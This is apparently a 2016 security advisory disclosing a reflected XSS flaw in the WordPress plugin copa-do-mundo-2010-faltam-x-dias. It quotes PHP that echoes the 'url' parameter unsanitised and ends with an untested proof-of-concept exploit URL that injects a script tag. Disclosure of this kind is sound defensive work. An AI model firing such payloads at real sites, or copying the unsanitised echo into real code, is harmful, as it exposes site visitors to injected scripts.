Advisory #: 311
Title: Reflected XSS in wordpress plugin copa-do-mundo-2010-faltam-x-dias v2.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/copa-do-mundo-2010-faltam-x-dias
Downloads: 726
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: copa-do-mundo-2010-faltam-x-dias
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./copa-do-mundo-2010-faltam-x-dias/load.php: 120: <div title="<?php echo pegaSelecao($games->time1) ?>" style="float:left;margin-left:0px;width:22px;height:14px;background:transparent url('<?php echo $_GET["url"] ?>/wp-content/plugins/copa-do-mundo-2010-faltam-x-dias/flags.png') 0px <?php echo pegaBand($games->time1) ?>px;"></div> 122: <div title="<?php echo pegaSelecao($games->time2) ?>" style="float:right;margin-right:18px;width:22px;height:14px;background:transparent url('<?php echo $_GET["url"] ?>/wp-content/plugins/copa-do-mundo-2010-faltam-x-dias/flags.png') 0px <?php echo pegaBand($games->time2) ?>px;"></div> The variable url appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./copa-do-mundo-2010-faltam-x-dias/load.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/copa-do-mundo-2010-faltam-x-dias/load.php?url="><script>alert(1);</script><"